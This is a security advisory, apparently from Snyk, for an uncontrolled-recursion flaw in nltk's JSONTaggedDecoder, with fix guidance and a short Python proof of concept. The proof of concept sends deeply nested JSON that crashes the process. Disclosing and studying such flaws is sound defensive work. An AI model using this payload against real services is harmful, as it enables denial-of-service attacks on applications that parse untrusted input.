Uncontrolled Recursion Affecting nltk package, versions [0,3.9.4)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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- published19 Mar 2026
- disclosed18 Mar 2026
- creditZeroXJacks
Introduced: 18 Mar 2026
CVE NOT AVAILABLE CWE-674 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade nltk to version 3.9.4 or higher.
Overview
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Uncontrolled Recursion via the JSONTaggedDecoder.decode_obj() function in jsontags.py. An attacker can cause the application to crash by submitting a deeply nested JSON structure that exceeds the recursion limit, resulting in an unhandled exception.
PoC
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)